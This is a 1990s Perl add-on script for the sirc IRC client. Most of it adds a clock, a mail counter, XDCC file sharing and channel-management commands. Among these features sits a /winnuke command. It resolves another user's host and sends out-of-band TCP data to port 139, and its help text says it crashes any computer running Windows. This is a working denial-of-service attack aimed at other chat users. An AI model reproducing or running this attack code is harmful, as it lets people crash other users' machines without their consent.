#  __     ___  __  __ _
#  \ \   / (_)/ _|/ _| |
#   \ \_/ / _| |_| |_| |
#    \   / | |  _|  _| |
#     | |  | | | | | |_|
#     |_|  |_|_| |_| (_)
#
#                        _
#          _|_ |_  _   _|_ _       ._  _ ._ |  o._ _   _ _ ._ o._ _|_
#           |_ | |(/_   | (_)><\/  |_)(/_|  |  || (_  _>(_ |  ||_) |_
#                              /   |                           |
#                                                                     __  ____
#                                                               __ __/  \|__  |
#                                                               \ V / () | / /
#                                                                \_/ \__(_)_/
#
#                       -- by Che Fox (che@imsa.edu) (Che_Fox on EFNet/YiffNet)
#
# Yiff! is a little script I wrote to put a few of the functions I've always
# wanted to have into IRC; now that I can do my IRC scripts in Perl with the
# help of sirc, it's simple to program!
#
# Yiff! puts a bit of extra functionality into sirc:
#
# A clock is added to the status bar
# A clock is displayed in the channel-text every minute (so we idlers can see
#    just how old a message is :) This can be turned off in $y_printtime.
# /exec does a /system and displays the output to the current channel/query
# Lines are highlighted via a regexp (use /sethilite or change $y_regexp 
#    below to edit the regexp)
# /fop does four cute /mode +os on a nick
# A MOTD hook is added, to run anything on startup; currently, a /mode +i
#    (invisible to /list and other neat things) is implemented.
# XDCC sending capabilities are added. You can set up any number of files
#    to be automatically sent to anyone who asks; if they /ctcp yournick XDCC
#    SEND #1, they'll get a DCC request to get that file. You need to add
#    files to the send-list beforehand with /xdcc add.
# If you have mail, the number of pieces waiting for you will be displayed
#    on the status bar.
# /init initializes an (optional) channel to an (optional) topic by removing
#    +i, +v, +p, etc., and adding +n and +t.
# /j or /join with more than one channel in the arguments will join all
#    those channels.
# The number of people currently in the active channel is displayed on the
#    status bar.
# 
# That's about it for now. Yiff! requires sirc to use (duh ;) -- get your copy
# from http://www.eleves.ens.fr:8080/home/espel/sirc.html today!
#
# Version History:
#   v0.1: Released Yiff! to a few people to see if they thought it was cute
#         and/or useful. Not very clean code yet, but it works.
#
#   v0.2: Added XDCC capabilities to Yiff!, made a few code changes
#
#   v0.3: Added a neat little mailwatch to the status bar.
#
#   v0.4: Changed the default XDCC to start at #1.
#
#   v0.5: Added /init, changed the default regexp to not be so vain.
#
#   v0.6: Fixed mail-watch to look for 'From ' instead of 'From:' (thanks
#         borys!). Added code to keep track of how many users are on each
#         channel, and display it on the status bar. New /join will join 
#         more than one channel at once (separated by spaces). 
#
#   v0.7: Yay! sirc 2.2 has all the new hooks I requested! Completely re-
#         wrote yiff to support the print and status hooks! Moved the clock 
#         to the right side of the screen to be less obnoxious. Added 
#	  $y_printtime so the clock can be turned off. Added /winnuke.
#

use Socket;			# for winnuke

my $y_version = 'v0.7';

$add_ons .= "+Yiff! $y_version" if ($add_ons !~ /Yiff/);

my $y_regexp = 'yiff';          # Change this at will to highlight any lines
				# that you wish.

my $y_printtime = 1;		# If you do not wish the time to be
				# printed each minute, set this to 0.

my (@y_xdcclist, $y_mailfilesize, $y_mailcount, $y_sendcount, $y_getcount, 
    %y_users, %y_numusers);

sub cmd_winnuke {
  my $luser;
  foreach $luser (split /\s+/, $args) {
    userhost($luser, "&winnuke");
  }
}
addcmd 'winnuke';

sub winnuke {
  my $paddr = sockaddr_in(139, inet_aton($host));
  print "*\cbY\cb* Winnuking $host...\n"; 
  socket(YIFF, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or print ("*\cbY\cb* Couldn't winnuke: $!\n"), return;
  connect(YIFF, $paddr) or print "*\cbY\cb* Couldn't winnuke: $!\n";
  send(YIFF, "yiff!", MSG_OOB );
  close(YIFF);
}

sub cmd_join {
    my $chan;
    foreach $chan (split /\s+/, $args) {
	sl "JOIN $chan";
    }
}
addcmd 'join';

sub cmd_j {
    my $chan;
    foreach $chan (split /\s+/, $args) {
	sl "JOIN $chan";
    }
}
addcmd 'j';

sub hook_yjoin {
    my $chan = shift;
    $y_numusers{lc $chan}++;
    push @{$y_users{lc $chan}}, $who unless grep (/^\Q$who\E$/i, @{$y_users{lc $chan}});
    dostatus();
}
addhook 'join', 'yjoin';

sub hook_yleave {
    my $chan = shift;
    $y_numusers{lc $chan}--;
    @{$y_users{lc $chan}} = grep (!/^\Q$who\E$/, @{$y_users{lc $chan}});
    dostatus();
}
addhook 'leave', 'yleave';

sub hook_ykick {
    my ($nick, $chan) = @_;
    $y_numusers{lc $chan}--;
    @{$y_users{lc $chan}} = grep (!/^\Q$who\E$/, @{$y_users{lc $chan}});
    dostatus();
}
addhook 'kick', 'ykick';

sub hook_ynick {
    my $newnick = shift;
    for (@{$y_users{lc $chan}}) {
	s/^\Q$who\E$/\Q$newnick\E/;
    }
    dostatus();
}
addhook 'nick', 'ynick';

sub hook_ysignoff {
    for (@channels) {
	@{$y_users{lc $_}} = grep (!/^\Q$who\E$/i, @{$y_users{lc $_}});
	$y_numusers{lc $_} = scalar @{$y_users{lc $_}};
    }
    dostatus();
}
addhook 'signoff', 'ysignoff';

sub hook_ynames {
    $args =~ s/://g;
    my ($crap, $crap2, $y_chan, $y_nicks) = split(/\s+/, $args, 4);
    $y_chan = lc $y_chan;
    foreach $crap (split(/\s+/, $y_nicks)) {
        $crap =~ s/^[\@\+]//;
        push @{$y_users{$y_chan}}, $crap unless grep(/^\Q$crap\E$/i, @{$y_users{$y_chan}});
    }
    $y_numusers{$y_chan} = scalar @{$y_users{$y_chan}};
    dostatus();
}
addhook '353', 'ynames';


sub hook_startup {		# MOTD hook; does things on startup.
    docommand "/mode $nick +i";	# See? Isn't that handy?
}	
addhook '376', 'startup';	

sub hook_yctcp {
    $silent = 1;
    local ($whoto, $command, $args) = @_;
    local ($y_count, $y_size) = (0, 0);
    $command =~ tr/a-z/A-Z/;
    if ($command eq "XDCC") {
	if ($args =~ /^help$/i) {
	    notice $who, "sirc Yiff! help on XDCC:";
	    notice $who, "/ctcp $nick XDCC LIST to get the list of offered files.";
	    notice $who, "/ctcp $nick XDCC SEND #<number> to send file #<number>.";
	    }
	if ($args =~ /^list$/i) {
	    notice $who, "sirc Yiff! list of XDCC offered files:";
	    if (@y_xdcclist) {
		my $y_temp;
		for ($y_temp = 1; $y_temp < scalar @y_xdcclist; $y_temp++) {
		    my $y_size = -s $y_xdcclist[$y_temp]->{filename};
		    notice $who, "File \#$y_temp: \cb$y_xdcclist[$y_temp]->{filename}\cb ($y_size bytes): $y_xdcclist[$y_temp]->{description}";
		}
	    } else {
		notice $who, "No XDCC files currently being offered.";
	    }
	}
	if ($args =~ /^send \#?(\d+)/i) {
	    if ($y_xdcclist[$1]) {
		$y_size = -s $y_xdcclist[$1]->{filename};
		notice $who, "Sending \cb$y_xdcclist[$1]->{filename}\cb ($y_xdcclist[$1]->{description}). $y_size bytes.";
		docommand "dcc send $who $y_xdcclist[$1]->{filename}";
		print "*\cbY\cb* Sending $who file \#$1 ($y_xdcclist[$1]->{filename}).\n";
		print LOG "*\cbY\cb* Sending $who file \#$1 ($y_xdcclist[$1]->{filename}).\n" if $logging;
	    }
	}
    }
    $silent = 0;
}
addhook "ctcp", "yctcp";

sub cmd_xdcc {
    local ($y_filename, $y_description);
    if ($args =~ /^add (.+?) (.+)/i) {
	if (!(-e $1)) {
	    print "*\cbY\cb* File $1 does not exist.\n";
	    return 1;
	} else {
	    $y_filename = $1;
	    $y_description = $2;
	}
	if (scalar @y_xdcclist == 0) {
	    $y_xdcclist[1] = { 'filename' => "$y_filename", 'description' => "$y_description" };
	} else {
	    push (@y_xdcclist, { 'filename' => "$y_filename", 'description' => "$y_description" });
	}
	print "*\cbY\cb* $y_filename added as file #$#y_xdcclist with description $y_description\n";
	} elsif ($args =~ /^add$/i) {
	    getuserline("*\cbY\cb* Enter a filename to offer:", "Filename>");
	    if (!(-e $_)) {
		print "*\cbY\cb* File $_ does not exist.\n";
		return 1;
	    } else {
		$y_filename = $_;
		getuserline("*\cbY\cb* Enter a description of $y_filename:", "Description>");
		$y_description = $_;
	    }
	    if (scalar @y_xdcclist == 0) {
		$y_xdcclist[1] = { 'filename' => "$y_filename", 'description' => "$y_description" };
	    } else {
		push (@y_xdcclist, { 'filename' => "$y_filename", 'description' => "$y_description" });
	    }
	    print "*\cbY\cb* $y_filename added as file #$#y_xdcclist with description $y_description\n";
	    }
    if ($args =~ /^del \#?(\d+)/i) {
	if (!($y_xdcclist[$1])) {
	    print "*\cbY\cb* You're not offering a file #$1!\n";
		return 1;
	} else {
	    splice (@y_xdcclist, $1, 1);
	    print "*\cbY\cb* File #$1 removed from XDCC offer list.\n";
	    }
    }
    if ($args =~ /^list$/i) {
	local ($y_size) = 0;
    print "*\cbY\cb* List of XDCC offered files:\n";
	if (@y_xdcclist) {
	    my $y_temp;
	    for ($y_temp = 1; $y_temp < scalar @y_xdcclist; $y_temp++) {
		$y_size = -s $y_xdcclist[$y_temp]->{'filename'};
		print "*\cbY\cb* File #$y_temp: \cb$y_xdcclist[$y_temp]->{'filename'}\cb ($y_size bytes): $y_xdcclist[$y_temp]->{'description'}\n";
	    }
	} else {
	    print "*\cbY\cb* No XDCC files offered!\n";
	}
    }
}
addcmd "xdcc", "xdcc";
addhelp "xdcc", 
"/xdcc <arguments>        Does one of the following:
  add <filename> <desc>  Adds <filename> with <desc> to your XDCC list.
                         Arguments are optional.
  list                   Lists currently offered files.
  del #<filenumber>      Removes <filenumber> from your XDCC list.
                         A /ctcp yournick XDCC HELP will get help on all
                         XDCC commands possible.";

sub cmd_exec {
    local (@y_command) = `$args`;
    if ($query) {
	for (@y_command) { 
	    msg $query, $_;
	}
    } else {
	for (@y_command) {
	    msg $talkchannel, $_;
	}
    }
}

addcmd "exec";
addhelp "exec", "/exec <command>          Prints the output of <command> to channel or query";

sub cmd_fop {
    local $y_chan = $talkchannel;
    getarg(), $y_chan = $newarg if ($args =~ /^[\#\&]/);
    local @people = split /\s+/, $args;
    for (@people) {
	&sl("MODE $y_chan +oooo $_ $_ $_ $_");
    }
}

addcmd "fop";
addhelp "fop", "/fop <nick> ...          Does four cute ops on <nick>(s)";

sub cmd_yhelp {
    docommand "/help yiff";
}

addcmd "yhelp";
addhelp "yhelp", "/yhelp                  Gets help on Yiff!, the Foxy Script.";

sub cmd_sethilite {
    $y_regexp=$args if $args;
    $y_regexp='' if $args eq 'none';
    if ($y_regexp) {
	print "*\cbY\cb* Your search pattern is now $y_regexp\n";
    } else {
	print "*\cbY\cb* You don't have a search pattern set.\n";
  }
}
addcmd "sethilite";
addhelp "sethilite", "/sethilite <regexp>      Highlights any lines with <regexp>";

sub cmd_init {
    dosplat();
    getarg();
    if ($newarg =~ /^[\#&]/) {
	docommand("/mode $newarg -iklmps+nt");
	if ($args) {
	    docommand("/topic $newarg $args");
	} else {
	    docommand("/topic $newarg Welcome to $newarg!");
	}
    } else {
	docommand("/mode $talkchannel -iklmps+nt");
	if ($newarg) {
	    $newarg .= " $args" if $args;
	    docommand("/topic $talkchannel $newarg");
	} else {
	    docommand("/topic $talkchannel Welcome to $talkchannel!");
	}
    }
}
addcmd "init";
addhelp "init", "/init <channel> <topic>  Initializes a channel and topic.";

sub dotime {
    ($sec,$min,$hour) = localtime(time);
    ($min < 10) && ($min = "0" . $min);
    ($hour < 10) && ($hour = "0" . $hour);
    return "$hour:$min";
}

sub hook_ystatus {
    if ($talkchannel ne '') {
	my $chanstat = $y_numusers{lc $talkchannel} . (($y_numusers{lc $talkchannel} eq 1) ? " user" : " users" );
	$_[0] =~ s/(\#\w+ \(\+.*?)\)/"$1, $chanstat\) " . dotime() . domail()/e;
    }
}
addhook('status', 'ystatus');

sub domail {
    $ENV{'MAIL'} ||= "/var/spool/mail/$ENV{LOGNAME}";

    if (-s $ENV{'MAIL'} != $y_mailfilesize) {
	$y_mailfilesize = -s $ENV{'MAIL'};
	$y_mailcount = 0;
	open (Y_MAIL, $ENV{'MAIL'}) || die "Error opening mail file: $!\n";
	while (<Y_MAIL>) {
	    $y_mailcount++ if /^From /;
	}
	close Y_MAIL;
    }
    return " Mail: $y_mailcount" if $y_mailcount;
}

sub hook_yprint {
    if ($thetime ne dotime()) {
	$thetime = dotime();
	$printtime = 1;
    } else {
	$printtime = 0;
    }

    if ($_[0] =~ /$y_regexp/i) {
        $_[0] =~ tr/\c_\cb\cv//d;
        $_[0] =~ s/(.*)/\cb$1\cb/;
    }
    if ($printtime and $y_printtime) {
	my ($justchars) = $_[0];
	$justchars =~ s/[\ca-\cz\c_]//g;
	if (length $justchars <= 71) {
	    $_[0] .= ' ' x (71 - (length $justchars));
	    $_[0] .= " [\cb" . dotime() . "\cb]";
	    dostatus();
	} else {
	    $thetime = '';
	}
    }
}
addhook ('print', 'yprint');

addhelp "yiff", 
"/exec <command>          Prints the output of <command> to channel or query
/fop <nick> ...          Does four cute ops on <nick>(s)
/sethilite <regexp>      Highlights lines with <regexp>
/xdcc <arguments>        See /help xdcc for more on this.
/init <channel> <topic>  Initializes a channel and topic.
/winnuke <nick|address>  Crashes any computer running Windows. Really. ";

print("*\cbY\cb* \c_Che_Fox\c_'s *\cvyiff.pl $y_version\cv* for sirc loaded; type /yhelp for help\n");


